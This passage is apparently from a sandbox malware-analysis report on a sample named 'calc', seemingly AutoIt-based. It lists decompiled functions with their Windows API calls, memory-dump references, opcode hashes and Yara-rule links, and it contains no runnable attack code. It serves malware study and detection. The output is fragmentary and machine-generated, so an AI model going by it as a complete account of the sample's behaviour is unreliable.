      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ItemMenu$Info$Default
      • String ID: ,
      • API String ID: 1306138088-3772416878
      • Opcode ID: 71f438033b53904974136d9e04b45af9f2db5fb7443b03c49805bf458f58f483
      • Instruction ID: 0562580491547a8833eccc7864831183b09bff118f29a06cf6e1091235e7571e
      • Opcode Fuzzy Hash: 71f438033b53904974136d9e04b45af9f2db5fb7443b03c49805bf458f58f483
      • Instruction Fuzzy Hash: 1F5116B1A14248AAEB21DF65C4847DFBBF5AF40325F24845FE481A6281C7BD9FC4CB19
      Function 004246CD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 141fileCOMMON
      Download Yara Rule
      APIs
      • GetLastError.KERNEL32(00000000), ref: 004247C7
      • DeleteFileW.KERNEL32(00000000), ref: 004247F1
      • FreeLibrary.KERNEL32(00000000,00000000), ref: 00424847
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: DeleteErrorFileFreeLastLibrary
      • String ID: #v
      • API String ID: 2986937368-554117064
      • Opcode ID: de5ada64192f288c7d5951babf4f08a3a3b5f0c45b99619aa895fb4c60c3ae0f
      • Instruction ID: 7d4b9774e6ea4061bb3ea3b4dea8a86c92428497e7d989edbd8b32bd18d52442
      • Opcode Fuzzy Hash: de5ada64192f288c7d5951babf4f08a3a3b5f0c45b99619aa895fb4c60c3ae0f
      • Instruction Fuzzy Hash: 1951B379A00225EFDB00EF55E84099DF774FF81324B95855BE429A7601CB38FC81CB99
      Function 0041352C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 112windowCOMMON
      Download Yara Rule
      APIs
      • GetMenuItemInfoW.USER32(?,00000001,00000000,0000002C), ref: 004135A0
      • DeleteMenu.USER32(?,?,00000000,?,00000001,00000000,0000002C), ref: 004135EB
      • DeleteMenu.USER32(?,00000001,00000000), ref: 00413642
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Menu$Delete$InfoItem
      • String ID: ,
      • API String ID: 135850232-3772416878
      • Opcode ID: eadcb55df29078d9890b1672165eda3be909e78da1399042eef8c1ff167db386
      • Instruction ID: 3c634a933cfbc8d95b1f8b83f838f06eb693c9081707924d3606c629297d5029
      • Opcode Fuzzy Hash: eadcb55df29078d9890b1672165eda3be909e78da1399042eef8c1ff167db386
      • Instruction Fuzzy Hash: D441D231604244FFDB20CF68C984BD9BBF1AF05325F2485A9E955AB391C378EE81CB55
      Function 0044C323 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 109COMMON
      Download Yara Rule
      APIs
      • __lock.LIBCMT ref: 0044C3A3
      • __lock.LIBCMT ref: 0044C3D4
        • Part of subcall function 00449C88: __lock.LIBCMT ref: 00449CA6
        • Part of subcall function 00449C88: RtlFreeHeap.NTDLL(00000000,?,0045B078,0000000C,0044C6BF,00000000,0045B3A0,00000008,0044C6F4,?,?,?,00449A5F,00000004,0045B068,0000000C), ref: 00449CED
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: __lock$FreeHeap
      • String ID: hTF$XF
      • API String ID: 743385489-2767625525
      • Opcode ID: 9b4923d12ef1f14ec64f77e8bfcd8aa64ffaef5e41d586ee2ec8f1fc6d1a7ac6
      • Instruction ID: edb2aeb90118eac4e3f8c23d9c0d3922c22ecf043b2881719fa403f2a85e6d15
      • Opcode Fuzzy Hash: 9b4923d12ef1f14ec64f77e8bfcd8aa64ffaef5e41d586ee2ec8f1fc6d1a7ac6
      • Instruction Fuzzy Hash: EF31D731642A008FE7A0EF29D5C186AB3F5AF9471576C464FE410DB652CB3EDC819A1C
      Function 004241EE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 103COMMON
      Download Yara Rule
      APIs
      • SetErrorMode.KERNEL32(00000001), ref: 004241FB
      • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000000,00000000), ref: 00424299
      • FreeLibrary.KERNEL32(?), ref: 004242EF
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Free$DiskErrorLibraryModeSpace
      • String ID: #v
      • API String ID: 196386347-554117064
      • Opcode ID: d4525d0b894da0b7848a2574bfaea22d4a351bbcd6a5746c59c8fb9b4fbb3e78
      • Instruction ID: f274591ae7b67bffc816cfc9c90c776a87d96e347c749b2d83b5f8e98dcb1e87
      • Opcode Fuzzy Hash: d4525d0b894da0b7848a2574bfaea22d4a351bbcd6a5746c59c8fb9b4fbb3e78
      • Instruction Fuzzy Hash: 08316231A00518EBCF05EF96E8458EEBBB8FF84350B4540ABF501A7151DB38A945CB69
      Function 004155D8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102filestringCOMMON
      Download Yara Rule
      APIs
        • Part of subcall function 00414E6E: GetFullPathNameW.KERNEL32(00000000,00000104,?,?,?,0047BD30,?,0040FF5E,?,?), ref: 00414E89
      • lstrcmpiW.KERNEL32(?,?), ref: 0041560D
      • MoveFileW.KERNEL32(?,?), ref: 00415643
        • Part of subcall function 0041553B: GetFileAttributesW.KERNEL32(0041568E,?,?,?,0041568E,?), ref: 00415558
        • Part of subcall function 0041553B: GetLastError.KERNEL32(?,?,?,0041568E,?), ref: 00415563
        • Part of subcall function 0041553B: CreateDirectoryW.KERNEL32(0041568E,00000000,?,?,?,0041568E,?), ref: 00415577
      • SHFileOperationW.SHELL32(?), ref: 0041570F
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: File$AttributesCreateDirectoryErrorFullLastMoveNameOperationPathlstrcmpi
      • String ID: \*.*
      • API String ID: 1621038701-1173974218
      • Opcode ID: ed6c6db5e1a82ec21dce6ba2fede384b792a7cb1beee2ae600bde39d4fb8793d
      • Instruction ID: 5b62e6b32fe5bc9b2134debb3df8c4339f2b18e98be065067f761ca7b62991fe
      • Opcode Fuzzy Hash: ed6c6db5e1a82ec21dce6ba2fede384b792a7cb1beee2ae600bde39d4fb8793d
      • Instruction Fuzzy Hash: D131F07180131DAADF50EFE5D845ADEB7BCAF49314F9044ABE508E3141E7389B898F58
      Function 0042026C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 88COMMON
      Download Yara Rule
      APIs
      • CharUpperBuffW.USER32(?,00420227,@ExitCode,0047A0C0,0045C6D0,00479E08,00479E08,?,?,00478410,?,00479E08,00479E08,00000000), ref: 004202DF
      • CharUpperBuffW.USER32(?,00420227,@ExitMethod,0047BD20,?,00000000,?,?,00478410,?,00479E08,00479E08,00000000), ref: 0042031E
        • Part of subcall function 004183F6: VariantClear.OLEAUT32(?), ref: 00418410
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: BuffCharUpper$ClearVariant
      • String ID: @ExitCode$@ExitMethod
      • API String ID: 3959644497-2214745556
      • Opcode ID: a716d707f0bd5257379f6721deef3a17544f8f8ff8fd5a9d8c21a2feecf77613
      • Instruction ID: 3d018d55bbbd5adba44dc97a11c7304ca77cc37ef3b631a2418edd763fc03717
      • Opcode Fuzzy Hash: a716d707f0bd5257379f6721deef3a17544f8f8ff8fd5a9d8c21a2feecf77613
      • Instruction Fuzzy Hash: BE314D76900219AFDB10ABA9EC41EEE77B9EF48315F10842AF50173152DB786949CBA8
      Function 0040ABEC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83windowCOMMON
      Download Yara Rule
      APIs
      • SendMessageW.USER32(00000000,00001009,00000000,?), ref: 0040AC75
      • SetWindowPos.USER32(?,00000000,?,?,?,?,00000004,?,?,?,00000000,00000001), ref: 0040AC89
      • SendMessageW.USER32(?,00001002,00000000,?), ref: 0040ACAC
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: MessageSend$Window
      • String ID: SysMonthCal32
      • API String ID: 2326795674-1439706946
      • Opcode ID: 11503d690707827b2dd3ed0369c2305c7705d4a06c693a8b6f2baa214a645079
      • Instruction ID: 14d7fa46a2dee2dc3646f6fb0c2dd2493d7f4650df8431ad64ce384b3088b83b
      • Opcode Fuzzy Hash: 11503d690707827b2dd3ed0369c2305c7705d4a06c693a8b6f2baa214a645079
      • Instruction Fuzzy Hash: 60218032600318BBEF218F54CC45FDA3BA5AB58754F010126FA04B61D0D3B9ACA1DB99
      Function 0042B031 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 81COMMON
      Download Yara Rule
      APIs
        • Part of subcall function 0042FF12: LoadLibraryA.KERNEL32(Wininet.dll,0042B04C,?,00000000), ref: 0042FF1D
        • Part of subcall function 0042FF12: GetProcAddress.KERNEL32(00000000,InternetCrackUrlW), ref: 0042FF2F
      • FreeLibrary.KERNEL32(?,?,00000000), ref: 0042B0BB
      • FreeLibrary.KERNEL32(?,?,00000000), ref: 0042B106
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Library$Free$AddressLoadProc
      • String ID: <$#v
      • API String ID: 1386263645-477561535
      • Opcode ID: bc8154724da4988744ae3f73b3a068960f97eee7dce1caf29509b1ad39073ea0
      • Instruction ID: 08250e3cd797b4f165cb22cbd0ca780e2f8aa99a4327fa461dcb274be227e967
      • Opcode Fuzzy Hash: bc8154724da4988744ae3f73b3a068960f97eee7dce1caf29509b1ad39073ea0
      • Instruction Fuzzy Hash: 4D31B3B1D00229EFCB11DF99E8419DEBBF8EF48300F50816BE815A7251D7799A41DFA4
      Function 0040B37A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77windowlibraryCOMMON
      Download Yara Rule
      APIs
      • SendMessageW.USER32(00000000,00000467,00000000,?), ref: 0040B3EC
      • LoadLibraryW.KERNEL32(?,?,?,004095E6,?,?,?,?,?,?,?,?,00000000,?,00000001,?), ref: 0040B3F5
      • SendMessageW.USER32(?,00000467,00000000,?), ref: 0040B409
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: MessageSend$LibraryLoad
      • String ID: SysAnimate32
      • API String ID: 3205928328-1011021900
      • Opcode ID: 60bcf4f9e98a4ab7d6c914802edf5d53d6059652804dfc9f252d41936e200753
      • Instruction ID: a7c430d5558a324c019549c7c535725aa8373f33fb7607741f0f21616e2b7dae
      • Opcode Fuzzy Hash: 60bcf4f9e98a4ab7d6c914802edf5d53d6059652804dfc9f252d41936e200753
      • Instruction Fuzzy Hash: 7E217F71500218AFDF118F55DC84DAB7BA9EF89368F104626FD14A62E2D339CC51DBA8
      Function 0040AA6D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 71windowCOMMON
      Download Yara Rule
      APIs
      • SendMessageW.USER32(00000000,00000180,00000000,?), ref: 0040AAF9
      • SendMessageW.USER32(?,00000186,00000000,00000000), ref: 0040AB04
      • MoveWindow.USER32(?,?,?,?,?,00000000,?,Listbox,00000000,00000000,?,?,?,?,00000000,00000000), ref: 0040AB23
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: MessageSend$MoveWindow
      • String ID: Listbox
      • API String ID: 3315199576-2633736733
      • Opcode ID: f2c24b57c72e74bd4c16310fe02d369d1d4bcaf66d9730a99e10fc43add17c47
      • Instruction ID: 900ec8e690eb78fd8c93632f1fd8deb6979e6213f13d5d8211199dabb923d6dc
      • Opcode Fuzzy Hash: f2c24b57c72e74bd4c16310fe02d369d1d4bcaf66d9730a99e10fc43add17c47
      • Instruction Fuzzy Hash: EB212C7150020DBFDF229F50CD84DDA3BA9EF08398F014226FA44662A1C77A9CA1DB95
      Function 004042C8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 70windowCOMMON
      Download Yara Rule
      APIs
      • GetClassNameW.USER32(?,?,0000007F), ref: 0040431C
      • IsDialogMessageW.USER32(?,?), ref: 0040435B
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ClassDialogMessageName
      • String ID: AutoIt v3$AutoIt v3 GUI
      • API String ID: 682379513-3732297864
      • Opcode ID: 2c04c3e885fe4a13a4564aa067ff1c05ecb8970d72aafcf156814eb3c7134043
      • Instruction ID: 31906f7eeedf88e2066356eeae69c8cc25b19cc0742b4b4f6c180b3507dca45f
      • Opcode Fuzzy Hash: 2c04c3e885fe4a13a4564aa067ff1c05ecb8970d72aafcf156814eb3c7134043
      • Instruction Fuzzy Hash: 1021C0B1700304EFDB18DEA4D884B9A73A8FF50305F1010BAEE45E3190E778ED88CA48
      Function 0040B2D8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61windowCOMMON
      Download Yara Rule
      APIs
      • SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 0040B341
      • SendMessageW.USER32(?,00000406,00000000,00640000), ref: 0040B356
      • SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 0040B362
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: MessageSend
      • String ID: msctls_trackbar32
      • API String ID: 3850602802-1010561917
      • Opcode ID: b6b8602c3e9a2c36321137a8017de26e3863274e984a736940d36414d29ae470
      • Instruction ID: 53a97837dd6e4f9169c4f51732602e26d21817ba787e7e5a00f6ab4d683d84b6
      • Opcode Fuzzy Hash: b6b8602c3e9a2c36321137a8017de26e3863274e984a736940d36414d29ae470
      • Instruction Fuzzy Hash: 6B114C71500248BACF218F55CC48ECB3FB5EF8A768F11426AFE146A2A1C3759C51DBA8
      Function 00415DF7 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 58COMMON
      Download Yara Rule
      APIs
        • Part of subcall function 00414513: RegOpenKeyExW.ADVAPI32(00000004,0045DC34,00000000,00000001,?,?,?,?,004371E3,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion,ProgramFilesDir,00000104,%.3d,?,?), ref: 00414532
        • Part of subcall function 00414513: RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,-0000076C,?,?,004371E3,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion,ProgramFilesDir,00000104,%.3d,?,?), ref: 00414549
        • Part of subcall function 00414513: RegCloseKey.ADVAPI32(?,?,?,004371E3,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion,ProgramFilesDir,00000104,%.3d,?,?,-0000076C,?,0045DC34,00000004,?), ref: 0041455A
      • mouse_event.USER32(00000000,00000000,00000000,00000000,00000000), ref: 00415E70
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: CloseOpenQueryValuemouse_event
      • String ID: 1$Control Panel\Mouse$SwapMouseButtons
      • API String ID: 3120867179-1333076132
      • Opcode ID: 4c009d8be6e611ea7ee0ed7a481dcb082e4cdc1e9cdb4b0e7271ae557d9b4d1a
      • Instruction ID: 2ea29db1dba191207fecf7cfac24f3fe5103bd27f5e71a9027c62f24b1f2dd5b
      • Opcode Fuzzy Hash: 4c009d8be6e611ea7ee0ed7a481dcb082e4cdc1e9cdb4b0e7271ae557d9b4d1a
      • Instruction Fuzzy Hash: 5E01A2B3E54704FAF31027748C46BFF2198D7957A5F290427FA12E2181F2AC8FC250AA
      Function 00408A31 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46windowCOMMON
      Download Yara Rule
      APIs
      • GetMenuItemInfoW.USER32(?), ref: 00408A63
      • SetMenuItemInfoW.USER32(?,?,00000000,0000002C), ref: 00408A82
      • DrawMenuBar.USER32 ref: 00408A8E
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
